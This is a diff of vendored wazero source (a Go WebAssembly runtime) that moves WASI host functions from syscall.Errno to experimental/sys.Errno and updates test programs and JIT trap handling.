sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
randSource := sysCtx.RandSource()
|
||||
buf, bufLen := uint32(params[0]), uint32(params[1])
|
||||
|
||||
randomBytes, ok := mod.Memory().Read(buf, bufLen)
|
||||
if !ok { // out-of-range
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
|
||||
// We can ignore the returned n as it only != byteCount on error
|
||||
if _, err := io.ReadAtLeast(randSource, randomBytes, int(bufLen)); err != nil {
|
||||
return syscall.EIO
|
||||
return sys.EIO
|
||||
}
|
||||
|
||||
return 0
|
||||
|
||||
+2
-2
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -15,7 +15,7 @@ import (
|
||||
// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-sched_yield---errno
|
||||
var schedYield = newHostFunc(wasip1.SchedYieldName, schedYieldFn, nil)
|
||||
|
||||
func schedYieldFn(_ context.Context, mod api.Module, _ []uint64) syscall.Errno {
|
||||
func schedYieldFn(_ context.Context, mod api.Module, _ []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
sysCtx.Osyield()
|
||||
return 0
|
||||
|
||||
+18
-16
@@ -5,6 +5,7 @@ import (
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
socketapi "github.com/tetratelabs/wazero/internal/sock"
|
||||
"github.com/tetratelabs/wazero/internal/sysfs"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
@@ -23,7 +24,7 @@ var sockAccept = newHostFunc(
|
||||
"fd", "flags", "result.fd",
|
||||
)
|
||||
|
||||
func sockAcceptFn(_ context.Context, mod api.Module, params []uint64) (errno syscall.Errno) {
|
||||
func sockAcceptFn(_ context.Context, mod api.Module, params []uint64) (errno sys.Errno) {
|
||||
mem := mod.Memory()
|
||||
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
|
||||
|
||||
@@ -50,7 +51,7 @@ var sockRecv = newHostFunc(
|
||||
"fd", "ri_data", "ri_data_len", "ri_flags", "result.ro_datalen", "result.ro_flags",
|
||||
)
|
||||
|
||||
func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func sockRecvFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
mem := mod.Memory()
|
||||
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
|
||||
|
||||
@@ -63,13 +64,13 @@ func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
|
||||
|
||||
var conn socketapi.TCPConn
|
||||
if e, ok := fsc.LookupFile(fd); !ok {
|
||||
return syscall.EBADF // Not open
|
||||
return sys.EBADF // Not open
|
||||
} else if conn, ok = e.File.(socketapi.TCPConn); !ok {
|
||||
return syscall.EBADF // Not a conn
|
||||
return sys.EBADF // Not a conn
|
||||
}
|
||||
|
||||
if riFlags & ^(wasip1.RI_RECV_PEEK|wasip1.RI_RECV_WAITALL) != 0 {
|
||||
return syscall.ENOTSUP
|
||||
return sys.ENOTSUP
|
||||
}
|
||||
|
||||
if riFlags&wasip1.RI_RECV_PEEK != 0 {
|
||||
@@ -78,16 +79,16 @@ func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
|
||||
// This means that the first `uint32` is a `buf *uint8`.
|
||||
firstIovecBufAddr, ok := mem.ReadUint32Le(riData)
|
||||
if !ok {
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
// Read bufLen
|
||||
firstIovecBufLen, ok := mem.ReadUint32Le(riData + 4)
|
||||
if !ok {
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
firstIovecBuf, ok := mem.Read(firstIovecBufAddr, firstIovecBufLen)
|
||||
if !ok {
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
n, err := conn.Recvfrom(firstIovecBuf, sysfs.MSG_PEEK)
|
||||
if err != 0 {
|
||||
@@ -122,7 +123,7 @@ var sockSend = newHostFunc(
|
||||
"fd", "si_data", "si_data_len", "si_flags", "result.so_datalen",
|
||||
)
|
||||
|
||||
func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func sockSendFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
mem := mod.Memory()
|
||||
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
|
||||
|
||||
@@ -133,14 +134,14 @@ func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
|
||||
resultSoDatalen := uint32(params[4])
|
||||
|
||||
if siFlags != 0 {
|
||||
return syscall.ENOTSUP
|
||||
return sys.ENOTSUP
|
||||
}
|
||||
|
||||
var conn socketapi.TCPConn
|
||||
if e, ok := fsc.LookupFile(fd); !ok {
|
||||
return syscall.EBADF // Not open
|
||||
return sys.EBADF // Not open
|
||||
} else if conn, ok = e.File.(socketapi.TCPConn); !ok {
|
||||
return syscall.EBADF // Not a conn
|
||||
return sys.EBADF // Not a conn
|
||||
}
|
||||
|
||||
bufSize, errno := writev(mem, siData, siDataCount, conn.Write)
|
||||
@@ -157,7 +158,7 @@ func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
|
||||
// See: https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-sock_shutdownfd-fd-how-sdflags---errno
|
||||
var sockShutdown = newHostFunc(wasip1.SockShutdownName, sockShutdownFn, []wasm.ValueType{i32, i32}, "fd", "how")
|
||||
|
||||
func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
|
||||
|
||||
fd := int32(params[0])
|
||||
@@ -165,9 +166,9 @@ func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) syscall.
|
||||
|
||||
var conn socketapi.TCPConn
|
||||
if e, ok := fsc.LookupFile(fd); !ok {
|
||||
return syscall.EBADF // Not open
|
||||
return sys.EBADF // Not open
|
||||
} else if conn, ok = e.File.(socketapi.TCPConn); !ok {
|
||||
return syscall.EBADF // Not a conn
|
||||
return sys.EBADF // Not a conn
|
||||
}
|
||||
|
||||
sysHow := 0
|
||||
@@ -180,8 +181,9 @@ func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) syscall.
|
||||
case wasip1.SD_WR:
|
||||
sysHow = syscall.SHUT_WR
|
||||
default:
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
|
||||
// TODO: Map this instead of relying on syscall symbols.
|
||||
return conn.Shutdown(sysHow)
|
||||
}
|
||||
Generated
Vendored
+200
-53
@@ -1,23 +1,41 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
switch os.Args[1] {
|
||||
case "sock":
|
||||
if err := mainSock(); err != nil {
|
||||
case "ls":
|
||||
var repeat bool
|
||||
if len(os.Args) == 4 {
|
||||
repeat = os.Args[3] == "repeat"
|
||||
}
|
||||
// Go doesn't open with O_DIRECTORY, so we don't end up with ENOTDIR,
|
||||
// rather EBADF trying to read the directory later.
|
||||
if err := mainLs(os.Args[2], repeat); errors.Is(err, syscall.EBADF) {
|
||||
fmt.Println("ENOTDIR")
|
||||
} else if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
case "http":
|
||||
if err := mainHTTP(); err != nil {
|
||||
case "stat":
|
||||
if err := mainStat(); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
case "sock":
|
||||
if err := mainSock(); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
case "nonblock":
|
||||
@@ -25,6 +43,73 @@ func main() {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
// Handle go-specific additions
|
||||
switch os.Args[1] {
|
||||
case "http":
|
||||
if err := mainHTTP(); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
case "stdin":
|
||||
if err := mainStdin(); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
case "stdout":
|
||||
mainStdout()
|
||||
case "largestdout":
|
||||
mainLargeStdout()
|
||||
}
|
||||
}
|
||||
|
||||
func mainLs(path string, repeat bool) error {
|
||||
d, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
if err = printFileNames(d); err != nil {
|
||||
return err
|
||||
} else if repeat {
|
||||
// rewind
|
||||
if _, err = d.Seek(0, io.SeekStart); err != nil {
|
||||
return err
|
||||
}
|
||||
return printFileNames(d)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func printFileNames(d *os.File) error {
|
||||
if names, err := d.Readdirnames(-1); err != nil {
|
||||
return err
|
||||
} else {
|
||||
for _, n := range names {
|
||||
fmt.Println("./" + n)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func mainStat() error {
|
||||
var isatty = func(name string, fd uintptr) error {
|
||||
f := os.NewFile(fd, "")
|
||||
if st, err := f.Stat(); err != nil {
|
||||
return err
|
||||
} else {
|
||||
ttyMode := fs.ModeDevice | fs.ModeCharDevice
|
||||
isatty := st.Mode()&ttyMode == ttyMode
|
||||
fmt.Println(name, "isatty:", isatty)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
for fd, name := range []string{"stdin", "stdout", "stderr", "/"} {
|
||||
if err := isatty(name, uintptr(fd)); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// mainSock is an explicit test of a blocking socket.
|
||||
@@ -57,55 +142,6 @@ func mainSock() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// mainHTTP implicitly tests non-blocking sockets, as they are needed for
|
||||
// middleware.
|
||||
func mainHTTP() error {
|
||||
// Get the file representing a pre-opened TCP socket.
|
||||
// The socket (listener) is the first pre-open, with a file-descriptor of
|
||||
// 3 because the host didn't add any pre-opened files.
|
||||
listenerFD := 3
|
||||
f := os.NewFile(uintptr(listenerFD), "")
|
||||
|
||||
// Wasm runs similarly to GOMAXPROCS=1, so multiple goroutines cannot work
|
||||
// in parallel. non-blocking allows the poller to park the go-routine
|
||||
// accepting connections while work is done on one.
|
||||
if err := syscall.SetNonblock(listenerFD, true); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Convert the file representing the pre-opened socket to a listener, so
|
||||
// that we can integrate it with HTTP middleware.
|
||||
ln, err := net.FileListener(f)
|
||||
defer f.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer ln.Close()
|
||||
|
||||
// Serve middleware that echos the request body to the response once, then quits.
|
||||
h := &echoOnce{ch: make(chan struct{}, 1)}
|
||||
go http.Serve(ln, h)
|
||||
<-h.ch
|
||||
return nil
|
||||
}
|
||||
|
||||
type echoOnce struct {
|
||||
ch chan struct{}
|
||||
}
|
||||
|
||||
func (e echoOnce) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
// Copy up to 32 bytes from the request to the response, appending a newline.
|
||||
// Note: the test should write: "wazero", so that's all we should read.
|
||||
var buf [32]byte
|
||||
if n, err := r.Body.Read(buf[:]); err != nil && err != io.EOF {
|
||||
panic(err)
|
||||
} else if n, err = w.Write(append(buf[:n], '\n')); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
// Once one request was served, close the channel.
|
||||
close(e.ch)
|
||||
}
|
||||
|
||||
// Adapted from nonblock.go
|
||||
// https://github.com/golang/go/blob/0fcc70ecd56e3b5c214ddaee4065ea1139ae16b5/src/runtime/internal/wasitest/testdata/nonblock.go
|
||||
func mainNonblock(mode string, files []string) error {
|
||||
@@ -160,3 +196,114 @@ func mainNonblock(mode string, files []string) error {
|
||||
wg.Wait()
|
||||
return nil
|
||||
}
|
||||
|
||||
// mainHTTP implicitly tests non-blocking sockets, as they are needed for
|
||||
// middleware.
|
||||
func mainHTTP() error {
|
||||
// Get the file representing a pre-opened TCP socket.
|
||||
// The socket (listener) is the first pre-open, with a file-descriptor of
|
||||
// 3 because the host didn't add any pre-opened files.
|
||||
listenerFD := 3
|
||||
f := os.NewFile(uintptr(listenerFD), "")
|
||||
|
||||
// Wasm runs similarly to GOMAXPROCS=1, so multiple goroutines cannot work
|
||||
// in parallel. non-blocking allows the poller to park the go-routine
|
||||
// accepting connections while work is done on one.
|
||||
if err := syscall.SetNonblock(listenerFD, true); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Convert the file representing the pre-opened socket to a listener, so
|
||||
// that we can integrate it with HTTP middleware.
|
||||
ln, err := net.FileListener(f)
|
||||
defer f.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer ln.Close()
|
||||
|
||||
// Serve middleware that echos the request body to the response once, then quits.
|
||||
h := &echoOnce{ch: make(chan struct{}, 1)}
|
||||
go http.Serve(ln, h)
|
||||
<-h.ch
|
||||
return nil
|
||||
}
|
||||
|
||||
type echoOnce struct {
|
||||
ch chan struct{}
|
||||
}
|
||||
|
||||
func (e echoOnce) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
// Copy up to 32 bytes from the request to the response, appending a newline.
|
||||
// Note: the test should write: "wazero", so that's all we should read.
|
||||
var buf [32]byte
|
||||
if n, err := r.Body.Read(buf[:]); err != nil && err != io.EOF {
|
||||
panic(err)
|
||||
} else if n, err = w.Write(append(buf[:n], '\n')); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
// Once one request was served, close the channel.
|
||||
close(e.ch)
|
||||
}
|
||||
|
||||
// Reproducer for https://github.com/tetratelabs/wazero/issues/1538
|
||||
func mainStdin() error {
|
||||
go func() {
|
||||
time.Sleep(1 * time.Second)
|
||||
os.Stdout.WriteString("waiting for stdin...\n")
|
||||
}()
|
||||
|
||||
b, err := io.ReadAll(os.Stdin)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
os.Stdout.Write(b)
|
||||
return nil
|
||||
}
|
||||
|
||||
func mainStdout() {
|
||||
os.Stdout.WriteString("test")
|
||||
}
|
||||
|
||||
func mainLargeStdout() {
|
||||
const ntest = 1024
|
||||
|
||||
var decls, calls bytes.Buffer
|
||||
|
||||
for i := 1; i <= ntest; i++ {
|
||||
s := strconv.Itoa(i)
|
||||
decls.WriteString(strings.Replace(decl, "$", s, -1))
|
||||
calls.WriteString(strings.Replace("call(test$)\n\t", "$", s, -1))
|
||||
}
|
||||
|
||||
program = strings.Replace(program, "$DECLS", decls.String(), 1)
|
||||
program = strings.Replace(program, "$CALLS", calls.String(), 1)
|
||||
fmt.Print(program)
|
||||
}
|
||||
|
||||
var program = `package main
|
||||
|
||||
var count int
|
||||
|
||||
func call(f func() bool) {
|
||||
if f() {
|
||||
count++
|
||||
}
|
||||
}
|
||||
|
||||
$DECLS
|
||||
|
||||
func main() {
|
||||
$CALLS
|
||||
if count != 0 {
|
||||
println("failed", count, "case(s)")
|
||||
}
|
||||
}
|
||||
`
|
||||
|
||||
const decl = `
|
||||
type T$ [$]uint8
|
||||
func test$() bool {
|
||||
v := T${1}
|
||||
return v == [$]uint8{2} || v != [$]uint8{1}
|
||||
}`
|
||||
Generated
Vendored
+86
@@ -0,0 +1,86 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"os"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func main() {
|
||||
switch os.Args[1] {
|
||||
case "ls":
|
||||
var repeat bool
|
||||
if len(os.Args) == 4 {
|
||||
repeat = os.Args[3] == "repeat"
|
||||
}
|
||||
// Go doesn't open with O_DIRECTORY, so we don't end up with ENOTDIR,
|
||||
// rather EBADF trying to read the directory later.
|
||||
if err := mainLs(os.Args[2], repeat); errors.Is(err, syscall.EBADF) {
|
||||
fmt.Println("ENOTDIR")
|
||||
} else if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
case "stat":
|
||||
if err := mainStat(); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
case "sock":
|
||||
// TODO: undefined: net.FileListener
|
||||
case "nonblock":
|
||||
// TODO: undefined: syscall.SetNonblock
|
||||
}
|
||||
}
|
||||
|
||||
func mainLs(path string, repeat bool) error {
|
||||
d, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
if err = printFileNames(d); err != nil {
|
||||
return err
|
||||
} else if repeat {
|
||||
// rewind
|
||||
if _, err = d.Seek(0, io.SeekStart); err != nil {
|
||||
return err
|
||||
}
|
||||
return printFileNames(d)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func printFileNames(d *os.File) error {
|
||||
if names, err := d.Readdirnames(-1); err != nil {
|
||||
return err
|
||||
} else {
|
||||
for _, n := range names {
|
||||
fmt.Println("./" + n)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func mainStat() error {
|
||||
var isatty = func(name string, fd uintptr) error {
|
||||
f := os.NewFile(fd, "")
|
||||
if st, err := f.Stat(); err != nil {
|
||||
return err
|
||||
} else {
|
||||
ttyMode := fs.ModeDevice | fs.ModeCharDevice
|
||||
isatty := st.Mode()&ttyMode == ttyMode
|
||||
fmt.Println(name, "isatty:", isatty)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
for fd, name := range []string{"stdin", "stdout", "stderr", "/"} {
|
||||
if err := isatty(name, uintptr(fd)); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
Generated
Vendored
BIN
Binary file not shown.
+5
-5
@@ -19,10 +19,10 @@ package wasi_snapshot_preview1
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero"
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -229,18 +229,18 @@ func exportFunctions(builder wazero.HostModuleBuilder) {
|
||||
// writeOffsetsAndNullTerminatedValues is used to write NUL-terminated values
|
||||
// for args or environ, given a pre-defined bytesLen (which includes NUL
|
||||
// terminators).
|
||||
func writeOffsetsAndNullTerminatedValues(mem api.Memory, values [][]byte, offsets, bytes, bytesLen uint32) syscall.Errno {
|
||||
func writeOffsetsAndNullTerminatedValues(mem api.Memory, values [][]byte, offsets, bytes, bytesLen uint32) sys.Errno {
|
||||
// The caller may not place bytes directly after offsets, so we have to
|
||||
// read them independently.
|
||||
valuesLen := len(values)
|
||||
offsetsLen := uint32(valuesLen * 4) // uint32Le
|
||||
offsetsBuf, ok := mem.Read(offsets, offsetsLen)
|
||||
if !ok {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
bytesBuf, ok := mem.Read(bytes, bytesLen)
|
||||
if !ok {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
|
||||
// Loop through the values, first writing the location of its data to
|
||||
@@ -285,7 +285,7 @@ func newHostFunc(
|
||||
|
||||
// wasiFunc special cases that all WASI functions return a single Errno
|
||||
// result. The returned value will be written back to the stack at index zero.
|
||||
type wasiFunc func(ctx context.Context, mod api.Module, params []uint64) syscall.Errno
|
||||
type wasiFunc func(ctx context.Context, mod api.Module, params []uint64) sys.Errno
|
||||
|
||||
// Call implements the same method as documented on api.GoModuleFunction.
|
||||
func (f wasiFunc) Call(ctx context.Context, mod api.Module, stack []uint64) {
|
||||
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Package close allows experimental.CloseNotifier without introducing a
|
||||
// package cycle.
|
||||
package close
|
||||
|
||||
import "context"
|
||||
|
||||
// NotifierKey is a context.Context Value key. Its associated value should be a
|
||||
// Notifier.
|
||||
type NotifierKey struct{}
|
||||
|
||||
type Notifier interface {
|
||||
CloseNotify(ctx context.Context, exitCode uint32)
|
||||
}
|
||||
+7
@@ -496,6 +496,13 @@ func (e *engine) Close() (err error) {
|
||||
e.mux.Lock()
|
||||
defer e.mux.Unlock()
|
||||
// Releasing the references to compiled codes including the memory-mapped machine codes.
|
||||
|
||||
for i := range e.codes {
|
||||
for j := range e.codes[i].functions {
|
||||
e.codes[i].functions[j].parent = nil
|
||||
}
|
||||
}
|
||||
|
||||
e.codes = nil
|
||||
return
|
||||
}
|
||||
|
||||
+1
@@ -4856,6 +4856,7 @@ func (c *amd64Compiler) compileMaybeExitFromNativeCode(skipCondition asm.Instruc
|
||||
func (c *amd64Compiler) compileExitFromNativeCode(status nativeCallStatusCode) {
|
||||
if target := c.compiledTrapTargets[status]; target != nil {
|
||||
c.assembler.CompileJump(amd64.JMP).AssignJumpTarget(target)
|
||||
return
|
||||
}
|
||||
|
||||
switch status {
|
||||
|
||||
+4
-30
@@ -380,42 +380,16 @@ func (c *arm64Compiler) compileReturnFunction() error {
|
||||
}
|
||||
|
||||
func (c *arm64Compiler) compileMaybeExitFromNativeCode(skipCondition asm.Instruction, status nativeCallStatusCode) {
|
||||
if target := c.compiledTrapTargets[status]; target != nil {
|
||||
// We've already compiled this.
|
||||
// Invert the condition to jump into the appropriate target.
|
||||
var trapCondition asm.Instruction
|
||||
switch skipCondition {
|
||||
case arm64.BCONDEQ:
|
||||
trapCondition = arm64.BCONDNE
|
||||
case arm64.BCONDNE:
|
||||
trapCondition = arm64.BCONDEQ
|
||||
case arm64.BCONDLO:
|
||||
trapCondition = arm64.BCONDHS
|
||||
case arm64.BCONDHS:
|
||||
trapCondition = arm64.BCONDLO
|
||||
case arm64.BCONDLS:
|
||||
trapCondition = arm64.BCONDHI
|
||||
case arm64.BCONDHI:
|
||||
trapCondition = arm64.BCONDLS
|
||||
case arm64.BCONDVS:
|
||||
trapCondition = arm64.BCONDVC
|
||||
case arm64.BCONDVC:
|
||||
trapCondition = arm64.BCONDVS
|
||||
default:
|
||||
panic("BUG: couldn't invert condition")
|
||||
}
|
||||
c.assembler.CompileJump(trapCondition).AssignJumpTarget(target)
|
||||
} else {
|
||||
skip := c.assembler.CompileJump(skipCondition)
|
||||
c.compileExitFromNativeCode(status)
|
||||
c.assembler.SetJumpTargetOnNext(skip)
|
||||
}
|
||||
skip := c.assembler.CompileJump(skipCondition)
|
||||
c.compileExitFromNativeCode(status)
|
||||
c.assembler.SetJumpTargetOnNext(skip)
|
||||
}
|
||||
|
||||
// compileExitFromNativeCode adds instructions to give the control back to ce.exec with the given status code.
|
||||
func (c *arm64Compiler) compileExitFromNativeCode(status nativeCallStatusCode) {
|
||||
if target := c.compiledTrapTargets[status]; target != nil {
|
||||
c.assembler.CompileJump(arm64.B).AssignJumpTarget(target)
|
||||
return
|
||||
}
|
||||
|
||||
switch status {
|
||||
|
||||
-13
@@ -1,13 +0,0 @@
|
||||
//go:build !windows && !js && !illumos && !solaris
|
||||
|
||||
package fsapi
|
||||
|
||||
import "syscall"
|
||||
|
||||
// Simple aliases to constants in the syscall package for portability with
|
||||
// platforms which do not have them (e.g. windows)
|
||||
const (
|
||||
O_DIRECTORY = syscall.O_DIRECTORY
|
||||
O_NOFOLLOW = syscall.O_NOFOLLOW
|
||||
O_NONBLOCK = syscall.O_NONBLOCK
|
||||
)
|
||||
-8
@@ -1,8 +0,0 @@
|
||||
package fsapi
|
||||
|
||||
// See the comments on the same constants in constants_windows.go
|
||||
const (
|
||||
O_DIRECTORY = 1 << 29
|
||||
O_NOFOLLOW = 1 << 30
|
||||
O_NONBLOCK = 1 << 31
|
||||
)
|
||||
-12
@@ -1,12 +0,0 @@
|
||||
//go:build illumos || solaris
|
||||
|
||||
package fsapi
|
||||
|
||||
import "syscall"
|
||||
|
||||
// See https://github.com/illumos/illumos-gate/blob/edd580643f2cf1434e252cd7779e83182ea84945/usr/src/uts/common/sys/fcntl.h#L90
|
||||
const (
|
||||
O_DIRECTORY = 0x1000000
|
||||
O_NOFOLLOW = syscall.O_NOFOLLOW
|
||||
O_NONBLOCK = syscall.O_NONBLOCK
|
||||
)
|
||||
-24
@@ -1,24 +0,0 @@
|
||||
package fsapi
|
||||
|
||||
import "syscall"
|
||||
|
||||
// Windows does not have these constants, we declare placeholders which should
|
||||
// not conflict with other open flags. These placeholders are not declared as
|
||||
// value zero so code written in a way which expects them to be bit flags still
|
||||
// works as expected.
|
||||
//
|
||||
// Since those placeholder are not interpreted by the open function, the unix
|
||||
// features they represent are also not implemented on windows:
|
||||
//
|
||||
// - O_DIRECTORY allows programs to ensure that the opened file is a directory.
|
||||
// This could be emulated by doing a stat call on the file after opening it
|
||||
// to verify that it is in fact a directory, then closing it and returning an
|
||||
// error if it is not.
|
||||
//
|
||||
// - O_NOFOLLOW allows programs to ensure that if the opened file is a symbolic
|
||||
// link, the link itself is opened instead of its target.
|
||||
const (
|
||||
O_DIRECTORY = 1 << 29
|
||||
O_NOFOLLOW = 1 << 30
|
||||
O_NONBLOCK = syscall.O_NONBLOCK
|
||||
)
|
||||
+42
-32
@@ -3,26 +3,41 @@ package fsapi
|
||||
import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
// Dirent is an entry read from a directory.
|
||||
// FileType is fs.FileMode masked on fs.ModeType. For example, zero is a
|
||||
// regular file, fs.ModeDir is a directory and fs.ModeIrregular is unknown.
|
||||
//
|
||||
// This is a portable variant of syscall.Dirent containing fields needed for
|
||||
// WebAssembly ABI including WASI snapshot-01 and wasi-filesystem. Unlike
|
||||
// fs.DirEntry, this may include the Ino.
|
||||
// Note: This is defined by Linux, not POSIX.
|
||||
type FileType = fs.FileMode
|
||||
|
||||
// Dirent is an entry read from a directory via File.Readdir.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This extends `dirent` defined in POSIX with some fields defined by
|
||||
// Linux. See https://man7.org/linux/man-pages/man3/readdir.3.html and
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/dirent.h.html
|
||||
// - This has a subset of fields defined in Stat_t. Notably, there is no
|
||||
// field corresponding to Stat_t.Dev because that value will be constant
|
||||
// for all files in a directory. To get the Dev value, call File.Stat on
|
||||
// the directory File.Readdir was called on.
|
||||
type Dirent struct {
|
||||
// ^^ Dirent name matches syscall.Dirent
|
||||
// Ino is the file serial number, or zero if not available. See Ino for
|
||||
// more details including impact returning a zero value.
|
||||
Ino sys.Inode
|
||||
|
||||
// Name is the base name of the directory entry.
|
||||
// Name is the base name of the directory entry. Empty is invalid.
|
||||
Name string
|
||||
|
||||
// Ino is the file serial number, or zero if not available.
|
||||
Ino uint64
|
||||
|
||||
// Type is fs.FileMode masked on fs.ModeType. For example, zero is a
|
||||
// regular file, fs.ModeDir is a directory and fs.ModeIrregular is unknown.
|
||||
//
|
||||
// Note: This is defined by Linux, not POSIX.
|
||||
Type fs.FileMode
|
||||
}
|
||||
|
||||
@@ -44,8 +59,8 @@ func (DirFile) IsAppend() bool {
|
||||
}
|
||||
|
||||
// SetAppend implements File.SetAppend
|
||||
func (DirFile) SetAppend(bool) syscall.Errno {
|
||||
return syscall.EISDIR
|
||||
func (DirFile) SetAppend(bool) experimentalsys.Errno {
|
||||
return experimentalsys.EISDIR
|
||||
}
|
||||
|
||||
// IsNonblock implements File.IsNonblock
|
||||
@@ -54,46 +69,41 @@ func (DirFile) IsNonblock() bool {
|
||||
}
|
||||
|
||||
// SetNonblock implements File.SetNonblock
|
||||
func (DirFile) SetNonblock(bool) syscall.Errno {
|
||||
return syscall.EISDIR
|
||||
func (DirFile) SetNonblock(bool) experimentalsys.Errno {
|
||||
return experimentalsys.EISDIR
|
||||
}
|
||||
|
||||
// IsDir implements File.IsDir
|
||||
func (DirFile) IsDir() (bool, syscall.Errno) {
|
||||
func (DirFile) IsDir() (bool, experimentalsys.Errno) {
|
||||
return true, 0
|
||||
}
|
||||
|
||||
// Read implements File.Read
|
||||
func (DirFile) Read([]byte) (int, syscall.Errno) {
|
||||
return 0, syscall.EISDIR
|
||||
func (DirFile) Read([]byte) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.EISDIR
|
||||
}
|
||||
|
||||
// Pread implements File.Pread
|
||||
func (DirFile) Pread([]byte, int64) (int, syscall.Errno) {
|
||||
return 0, syscall.EISDIR
|
||||
}
|
||||
|
||||
// Seek implements File.Seek
|
||||
func (DirFile) Seek(int64, int) (int64, syscall.Errno) {
|
||||
return 0, syscall.EISDIR
|
||||
func (DirFile) Pread([]byte, int64) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.EISDIR
|
||||
}
|
||||
|
||||
// PollRead implements File.PollRead
|
||||
func (DirFile) PollRead(*time.Duration) (ready bool, errno syscall.Errno) {
|
||||
return false, syscall.ENOSYS
|
||||
func (DirFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) {
|
||||
return false, experimentalsys.ENOSYS
|
||||
}
|
||||
